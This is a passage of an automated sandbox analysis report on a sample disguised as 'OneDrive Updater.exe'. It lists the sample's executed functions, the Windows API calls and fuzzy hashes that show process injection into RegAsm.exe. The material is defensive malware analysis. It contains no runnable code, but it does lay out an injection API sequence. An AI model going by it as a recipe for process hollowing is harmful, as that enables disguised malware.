Instruction Fuzzy Hash: F5B1BC74E002199FDF24DFA5D884BDDBBF6BF88304F148169D409AB292DB34A985DF60

Function 05792E60 Relevance: 1.6, APIs: 1, Instructions: 140
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,?,00000009,?,?,?,?,?,?,?), ref: 05792FA4

Memory Dump Source

Source File: 00000023.00000002.1910118964.0000000005790000.00000040.00000800.00020000.00000000.sdmp, Offset: 05790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_5790000_OneDrive Updater.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9b532ebbbe4dbf9646349fff56996f74a30a6a0de0300973981f9b2a7ff3f621
Instruction ID: 6aecbfef07a187f15e9ebb33a6d287c7ae04d37a170309b3e202222e0594d3dd
Opcode Fuzzy Hash: 9b532ebbbe4dbf9646349fff56996f74a30a6a0de0300973981f9b2a7ff3f621
Instruction Fuzzy Hash: B9512475901329EFDF24CF99C984BDEBBB6BF48300F04849AE508A7250D7759A84CFA1

Function 05791EC8 Relevance: 1.6, APIs: 1, Instructions: 140
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,?,00000009,?,?,?,?,?,?,?), ref: 05792FA4

Memory Dump Source

Source File: 00000023.00000002.1910118964.0000000005790000.00000040.00000800.00020000.00000000.sdmp, Offset: 05790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_5790000_OneDrive Updater.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: bedf710322124b38936d024af817936dd9dd1f65a4948d59c2431e7435e65e64
Instruction ID: 8ed5ebb528848a6267c73810d39f0ee243be23bbd03bbabcb1b4d3f3015462da
Opcode Fuzzy Hash: bedf710322124b38936d024af817936dd9dd1f65a4948d59c2431e7435e65e64
Instruction Fuzzy Hash: 46512575901319EFDF24CF99C984BDEBBB6BF48300F04849AE909A7250D7759A84CFA1

Function 05791EE0 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,00010002,?,?,?,?,?,?,05792A5A,?,00000004,?), ref: 057931C1

Memory Dump Source

Source File: 00000023.00000002.1910118964.0000000005790000.00000040.00000800.00020000.00000000.sdmp, Offset: 05790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_5790000_OneDrive Updater.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: f0375a10c3a7dba79a1a4cfd32a91e5997ecbce13cbf53d31b85d62e755a7cbb
Instruction ID: 244917bcc116891e884157319deece2d4dec453e069ba11073fd921e32a4e035
Opcode Fuzzy Hash: f0375a10c3a7dba79a1a4cfd32a91e5997ecbce13cbf53d31b85d62e755a7cbb
Instruction Fuzzy Hash: 6421E2B5910659DFCB10CF9AD884BDEFBF4FB48310F10842AE958A7210C378A944CFA5

Function 05791ED4 Relevance: 1.6, APIs: 1, Instructions: 57
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64GetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,05792A1C), ref: 05793103

Memory Dump Source

Source File: 00000023.00000002.1910118964.0000000005790000.00000040.00000800.00020000.00000000.sdmp, Offset: 05790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_5790000_OneDrive Updater.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 963879bc5f39696e8752bd672f13c71559d9fcc00d2675b76b8e93ae576754d4
Instruction ID: 4c3f24e01516b69f8eba22263ff06de7b31911c1ae073eb2d064997e640018cc
Opcode Fuzzy Hash: 963879bc5f39696e8752bd672f13c71559d9fcc00d2675b76b8e93ae576754d4
Instruction Fuzzy Hash: D71123B59146498FCB20CF9AD848BDEFBF5FB88320F14842AE458A7210D379A545CFA1

Function 0579314A Relevance: 1.6, APIs: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,00010002,?,?,?,?,?,?,05792A5A,?,00000004,?), ref: 057931C1

Memory Dump Source

Source File: 00000023.00000002.1910118964.0000000005790000.00000040.00000800.00020000.00000000.sdmp, Offset: 05790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_5790000_OneDrive Updater.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 44df3e37855dab5dd134aaf755352f461123f7ddbcc3ff467cd52eb2af93b10a
Instruction ID: 3328bac0d826bc258f1a0eb781addd45fbfc1d54180a668143a6ac77842da1d1
Opcode Fuzzy Hash: 44df3e37855dab5dd134aaf755352f461123f7ddbcc3ff467cd52eb2af93b10a
Instruction Fuzzy Hash: 7621E2B5900219DFCB10CF9AD885BDEFBF8FB48310F50842AE958A7250C378A544CFA5

Function 05793090 Relevance: 1.6, APIs: 1, Instructions: 57
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64GetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,05792A1C), ref: 05793103

Memory Dump Source

Source File: 00000023.00000002.1910118964.0000000005790000.00000040.00000800.00020000.00000000.sdmp, Offset: 05790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_5790000_OneDrive Updater.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: bfce166a6fb5905451ad9b157f834ec9940e09b8622293068e73a443b2ce5079
Instruction ID: ad617071000911b401ae6eaa4ed7318d70d3f6c0edb03ea49f081ae2257d445e
Opcode Fuzzy Hash: bfce166a6fb5905451ad9b157f834ec9940e09b8622293068e73a443b2ce5079
Instruction Fuzzy Hash: 7C1153B2D106098FCB10CF9AC845BDEFBF4FB88320F14842AD428A7200D338A545CFA1

Function 0190D4B4 Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.1899907821.000000000190D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0190D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_190d000_OneDrive Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af6cce22432d69ea2003b943c32f1bb03cbd96e494060d7ced5d3f6224d08b13
Instruction ID: b83bc7236455e74e3822a0299e17413490f42b2ae98b7f397e8047e65611ad6a
Opcode Fuzzy Hash: af6cce22432d69ea2003b943c32f1bb03cbd96e494060d7ced5d3f6224d08b13
Instruction Fuzzy Hash: 0B210371504200EFDB06DF98D9C0F26BFA5FB88318F20C569ED0D4B29AC336D456CAA1

Function 0190D4AF Relevance: .1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.1899907821.000000000190D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0190D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_190d000_OneDrive Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 54c4d077a97986170f8b5516405aa85b58573a732140b20609b7221497830ed5
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 1811E172404280CFCB02CF54D5C4B16BFB1FB88318F24C6A9DC090B29AC336D45ACBA1

Analysis Process: OneDrive Updater.exePID: 2936, Parent PID: 2580COMMON

Executed Functions

Function 01052921 Relevance: 3.4, APIs: 2, Instructions: 359
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01051EC8: CreateProcessW.KERNELBASE(00000000,?,00000009,?,?,?,?,?,?,?), ref: 01052FA4

Part of subcall function 01051ED4: Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,01052A1C), ref: 01053103

Part of subcall function 01051EE0: ReadProcessMemory.KERNELBASE(?,?,?,?,00010002,?,?,?,?,?,?,01052A5A,?,00000004,?), ref: 010531C1

VirtualAllocEx.KERNELBASE(?,?,00000000,00003000,00000040), ref: 01052B1F
ResumeThread.KERNELBASE(?), ref: 01052C34

Memory Dump Source

Source File: 00000037.00000002.2066184092.0000000001050000.00000040.00000800.00020000.00000000.sdmp, Offset: 01050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_1050000_OneDrive Updater.jbxd

Similarity

API ID: ProcessThread$AllocContextCreateMemoryReadResumeVirtualWow64
String ID:
API String ID: 2498194165-0
Opcode ID: 546cb98593fbeb223feafc954d147c09fbc432ae7aa0027f4cf44e364b2eae16
Instruction ID: 6d2d9631f453f3a0c251df3444eec7e6387a86bb42cfcf1feabb0cd25ec7e92d
Opcode Fuzzy Hash: 546cb98593fbeb223feafc954d147c09fbc432ae7aa0027f4cf44e364b2eae16
Instruction Fuzzy Hash: 37D1C070E002198BDB59DFB9C854BAEBBF2BF84304F248169D849AB295DF309D45CB91

Function 01052E5C Relevance: 1.6, APIs: 1, Instructions: 142
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,?,00000009,?,?,?,?,?,?,?), ref: 01052FA4

Memory Dump Source

Source File: 00000037.00000002.2066184092.0000000001050000.00000040.00000800.00020000.00000000.sdmp, Offset: 01050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_1050000_OneDrive Updater.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 939c1e81bf81328b381320b998e38720f1e42141b2cd262b8955b6b582493b01
Instruction ID: a4ea263b70f562b66e3199a1bf09680e7fa66da1c4148338102f6a3d0d3b5d3f
Opcode Fuzzy Hash: 939c1e81bf81328b381320b998e38720f1e42141b2cd262b8955b6b582493b01
Instruction Fuzzy Hash: D4513571901319DFDB64CF99C944BDEBBB5BF48300F0480EAE948AB250D7759A84CF51

Function 01051EC8 Relevance: 1.6, APIs: 1, Instructions: 140
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,?,00000009,?,?,?,?,?,?,?), ref: 01052FA4

Memory Dump Source

Source File: 00000037.00000002.2066184092.0000000001050000.00000040.00000800.00020000.00000000.sdmp, Offset: 01050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_1050000_OneDrive Updater.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7539f62e4b304a371758dd9b91843259d8e2d7541c204a9b83fcdbf511f08be9
Instruction ID: ae84c5b20cbcbf57ca01f511d679cefd678b2128b25febe43e553c316ba00671
Opcode Fuzzy Hash: 7539f62e4b304a371758dd9b91843259d8e2d7541c204a9b83fcdbf511f08be9
Instruction Fuzzy Hash: CF510571901319DFDF64CF99C984BDEBBB6BF48300F1480AAE948AB250D7759A84CF91

Function 01053208 Relevance: 1.6, APIs: 1, Instructions: 73
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?,?,?,?,00000000,00000000,?,01052DFD,?,?,00000000), ref: 0105328C

Memory Dump Source

Source File: 00000037.00000002.2066184092.0000000001050000.00000040.00000800.00020000.00000000.sdmp, Offset: 01050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_1050000_OneDrive Updater.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: e9c9273171dc7f2977ff7d0f0f6202a14b14a4acd268652b1f5f6cda91d48f21
Instruction ID: 761e48986eece3990e66846943ae363a4ac4384f51dd33073d6dbb49994ec237
Opcode Fuzzy Hash: e9c9273171dc7f2977ff7d0f0f6202a14b14a4acd268652b1f5f6cda91d48f21
Instruction Fuzzy Hash: AA2166B19007498FDB50CFAAC984BDEBFF4FB08350F04806AE958A7210D378A944CF64

Function 01051AC0 Relevance: 1.6, APIs: 1, Instructions: 63
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?,?,?,?,00000000,00000000,?,01052DFD,?,?,00000000), ref: 0105328C

Memory Dump Source

Source File: 00000037.00000002.2066184092.0000000001050000.00000040.00000800.00020000.00000000.sdmp, Offset: 01050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_1050000_OneDrive Updater.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: aa2a3bb779cdd09cb5748c78077c788cd8aaa09b8adc72164b1be2260ce88901
Instruction ID: 1645efbeafc801c607e07dcf79f38c3cf6e37ba95733a50b94bb72b4e3ad53d4
Opcode Fuzzy Hash: aa2a3bb779cdd09cb5748c78077c788cd8aaa09b8adc72164b1be2260ce88901
Instruction Fuzzy Hash: 792104B1901709DFDB50CF9AC884BDEBBF4FB08350F10842AE958A7240D378A944CFA5

Function 01051EE0 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,00010002,?,?,?,?,?,?,01052A5A,?,00000004,?), ref: 010531C1

Memory Dump Source

Source File: 00000037.00000002.2066184092.0000000001050000.00000040.00000800.00020000.00000000.sdmp, Offset: 01050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_1050000_OneDrive Updater.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: e225628a027576e3e609ffb5633c90e9f0ee24f7b52c578f0fdb78acbbf5d3df
Instruction ID: 71266aa8dd29435911b8a4bcf6d81b1e82354f36817802bf69ba5180ad04d44f
Opcode Fuzzy Hash: e225628a027576e3e609ffb5633c90e9f0ee24f7b52c578f0fdb78acbbf5d3df
Instruction Fuzzy Hash: 7921E2B59002199FDB10CF9AD884ADEBBF4FB48350F10842AE958A7250C378A944CFA5

Function 01051ACC Relevance: 1.6, APIs: 1, Instructions: 57
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,01052A1C), ref: 01053103

Memory Dump Source

Source File: 00000037.00000002.2066184092.0000000001050000.00000040.00000800.00020000.00000000.sdmp, Offset: 01050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_1050000_OneDrive Updater.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 2ab4cb7e0ceb003111f1266e688df7e8b096222cd5582ad365e4b5491c61b83d
Instruction ID: 85bf152c3464027b02ec5a7d91d48520e8e84d83a9cc5a636268436388bb00e5
Opcode Fuzzy Hash: 2ab4cb7e0ceb003111f1266e688df7e8b096222cd5582ad365e4b5491c61b83d
Instruction Fuzzy Hash: 7A1126B19003498FDB50CFAAC844BDEFBF4FB88360F148069E958A7240D378A545CFA5

Function 01051ED4 Relevance: 1.6, APIs: 1, Instructions: 57
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,01052A1C), ref: 01053103

Memory Dump Source

Source File: 00000037.00000002.2066184092.0000000001050000.00000040.00000800.00020000.00000000.sdmp, Offset: 01050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_1050000_OneDrive Updater.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: ac30534860f6a6f6e20ca3dcec5003dcb7cfcd4c9b3c3fa8d64393fb9291ffa8
Instruction ID: 199d75f1341bcd0fa6b7fc3e2428880a9d84b02a27cca6ffb7ffbb6e6698a830
Opcode Fuzzy Hash: ac30534860f6a6f6e20ca3dcec5003dcb7cfcd4c9b3c3fa8d64393fb9291ffa8
Instruction Fuzzy Hash: 271114B19003498FDB50CFAAC848BDEBBF4FB88360F148469E958A7240D378A545CFA5

Function 0105314C Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,00010002,?,?,?,?,?,?,01052A5A,?,00000004,?), ref: 010531C1

Memory Dump Source

Source File: 00000037.00000002.2066184092.0000000001050000.00000040.00000800.00020000.00000000.sdmp, Offset: 01050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_1050000_OneDrive Updater.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: e26ce9355092312d09f98e84c51202b332418282f7ad0b75661569f014d2ccb9
Instruction ID: 35494afe9f2731aaa74b1fc1d84ea8fb42811989fa12364e50a6b4d1156f9310
Opcode Fuzzy Hash: e26ce9355092312d09f98e84c51202b332418282f7ad0b75661569f014d2ccb9
Instruction Fuzzy Hash: 0421E0B59003599FDB10CF9AD884ADEBBF4FB08360F10842AE958A7250D378A944CFA5

Function 01053096 Relevance: 1.6, APIs: 1, Instructions: 53
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,01052A1C), ref: 01053103

Memory Dump Source

Source File: 00000037.00000002.2066184092.0000000001050000.00000040.00000800.00020000.00000000.sdmp, Offset: 01050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_1050000_OneDrive Updater.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 3979578be21585d552a8ab35c553bdf631ce04f8ae5b71bbdda514016e0b398c
Instruction ID: 8bbd09f09d82863bd0f8dcbd7ad53a704bcd02aa3a9bd8869df8722599680705
Opcode Fuzzy Hash: 3979578be21585d552a8ab35c553bdf631ce04f8ae5b71bbdda514016e0b398c
Instruction Fuzzy Hash: 091134B2D002498FDB10CFAAC944BDEFBF5BB88320F14806AD468A7200D3389545CFA5

Function 00EED3C8 Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000037.00000002.2062062297.0000000000EED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_eed000_OneDrive Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b0aeb102512a483a688e5d4ab12f98bdce0755221f3617b29ff182420e77c06
Instruction ID: 2fe69c6438ea63d35bab216c1cac83ee68e8aaf660adefd713fe7fafe70dc900
Opcode Fuzzy Hash: 5b0aeb102512a483a688e5d4ab12f98bdce0755221f3617b29ff182420e77c06
Instruction Fuzzy Hash: CA216A71108288DFCB11DF15DDC0B16BFA5FBA4314F20C169E8091B296C336E856C7A1

Function 00EED4B4 Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000037.00000002.2062062297.0000000000EED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_eed000_OneDrive Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b0ee5ff8910bf63d93efd240467d1969e6cbe2102d978ef97420c97cc2441e0
Instruction ID: fc632d182aa39a69473051f12f6f596364ef0f55aa31a4cce2c1ea6cc6a3fd4f
Opcode Fuzzy Hash: 1b0ee5ff8910bf63d93efd240467d1969e6cbe2102d978ef97420c97cc2441e0
Instruction Fuzzy Hash: 842137B1508288DFDB05DF14DDC0B2BBF65FB98328F20C569E8095B256C336D85ACBA1

Function 00EED4AF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000037.00000002.2062062297.0000000000EED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_eed000_OneDrive Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 16bd022370e954023572396c8b2fbbc8f706a4badac86fb3a918ecfe133da825
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 4111E676504284CFCB16CF14D9C4B16BF71FB94328F24C5A9DC094B656C336D85ACBA1

Function 00EED3C3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000037.00000002.2062062297.0000000000EED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_eed000_OneDrive Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 60a3b1e264e63066d77c54a80363c70aa94db77b6066b1729f7e5eeed44aecc6
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: E411D676504284CFDB15CF10D9C4B16BF71FBA4324F24C5A9D8094B656C336D45ACB91

Analysis Process: RegAsm.exePID: 7932, Parent PID: 2936COMMON

Executed Functions

Function 0114C000 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000038.00000002.2074338111.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_1140000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 408ad514351a990af754f38d673d521a16ecd0a34ca5bdfb2436268967d0baa9
Instruction ID: 0890f6b4ec3c35f484bb91b63a9670bfcc816317d80e6ebe2a07400d9d60d8e9
Opcode Fuzzy Hash: 408ad514351a990af754f38d673d521a16ecd0a34ca5bdfb2436268967d0baa9
Instruction Fuzzy Hash: 0F7148B0A01B058FD728DF6AD44475ABBF1FF48B04F008A2DD48ADBA50DB75E845CB91

Function 01147364 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 01147421

Memory Dump Source

Source File: 00000038.00000002.2074338111.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_1140000_RegAsm.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a694d0e145313b8438bfbe909bdff27c8e4ce52aa38b8644b53dfd136e4b0347
Instruction ID: d3c9e2fae864085e12028589140dc989b2d2f2316e9af03163abcaffa6d39cdd
Opcode Fuzzy Hash: a694d0e145313b8438bfbe909bdff27c8e4ce52aa38b8644b53dfd136e4b0347
Instruction Fuzzy Hash: D041F2B0C00719CFDB28CFA9C844B9DBBB5BF49704F24806AD408AB264DB756985CF90

Function 01146414 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 01147421

Memory Dump Source

Source File: 00000038.00000002.2074338111.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_1140000_RegAsm.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 160d4ca9acaff4031eb5271aa34e73b116bb48023579dba1f0fdda6df3431e74
Instruction ID: ff46c973c2fd6d782297fd17bcba69cac2d878fa9ba406b4678d2a6ef24d229e
Opcode Fuzzy Hash: 160d4ca9acaff4031eb5271aa34e73b116bb48023579dba1f0fdda6df3431e74
Instruction Fuzzy Hash: CB41E0B0C00619CFDB28CFA9C844B9EBBB5BF48704F24806AD408AB265DB756985CF91

Function 01146780 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0114674E,?,?,?,?,?), ref: 0114680F

Memory Dump Source

Source File: 00000038.00000002.2074338111.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_1140000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5cf10a9294af93865ee8e4144223e71db20db211a31b1d15a6bb89818ba3633b
Instruction ID: 64ca222760125d51438581253ee4f3e77a058f64669d7d6f9fc8bc7cbec9ccd3
Opcode Fuzzy Hash: 5cf10a9294af93865ee8e4144223e71db20db211a31b1d15a6bb89818ba3633b
Instruction Fuzzy Hash: 752103B5D00248DFDB14CFAAD984AEEBFF8EB48324F14841AE914A3310D374A940CFA5

Function 0114611C Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0114674E,?,?,?,?,?), ref: 0114680F

Memory Dump Source

Source File: 00000038.00000002.2074338111.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_1140000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 80e5c9140afe9af3493ea226746ce9c4d05b2e8274b2fea7c3ec03ae0d05b400
Instruction ID: 93b07587a8fbe796d473b8d8cb85f1a24de0f741faf5d62280a74edd0f9d1dcc
Opcode Fuzzy Hash: 80e5c9140afe9af3493ea226746ce9c4d05b2e8274b2fea7c3ec03ae0d05b400
Instruction Fuzzy Hash: 1E2103B5900248DFDB10CFAAD984ADEBFF4EB48324F14841AE918A7310D378A940CFA5

Function 0114C294 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0114C6D1,00000800,00000000,00000000), ref: 0114C8E2

Memory Dump Source

Source File: 00000038.00000002.2074338111.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_1140000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 62a9c9efcc4982149b44cceb0f418cbfe45a5f58bf9975865d784b083f4bf2ce
Instruction ID: 87b18c96ebb594e9f708a3752fecd5c590e38d999d5965cb54b3353739994a0a
Opcode Fuzzy Hash: 62a9c9efcc4982149b44cceb0f418cbfe45a5f58bf9975865d784b083f4bf2ce
Instruction Fuzzy Hash: 191103B69003499FDB14CF9AD444A9EFBF4EB48720F14842AD919B7210C375A544CFA5

Function 0114AF60 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,0114C01C), ref: 0114C256

Memory Dump Source

Source File: 00000038.00000002.2074338111.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_1140000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 8a82c1f7fcb51d1c00fd9c4435f430dad2b159c8cdd0a99f2db3571200a77ea6
Instruction ID: ad84477be84f7673fb293bbb58c3392b3dff95e4254e06782b7c98a936dc36ff
Opcode Fuzzy Hash: 8a82c1f7fcb51d1c00fd9c4435f430dad2b159c8cdd0a99f2db3571200a77ea6
Instruction Fuzzy Hash: F91120B58002498BCB18CF9AC444B9EFBF4AB88624F10842AD919B7210C3B5A545CFA5

Function 0105D4D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.2071407373.000000000105D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0105D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_105d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80efc8f882f52fb11224813f66fd9f35f144fd1d667b5413262d3ab02d376d4c
Instruction ID: fad7dac18d2fab7d06a36a46b28b56f3ee9ef6dec219db4df9437659b41661c5
Opcode Fuzzy Hash: 80efc8f882f52fb11224813f66fd9f35f144fd1d667b5413262d3ab02d376d4c
Instruction Fuzzy Hash: A9212571500200DFDB45DF98D9C4B2BBFA5FB8831CF2485AADD494B216C336D456CBA2

Function 0106D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.2072297827.000000000106D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0106D000, based on PE: false

Joe Sandbox IDA Plugin

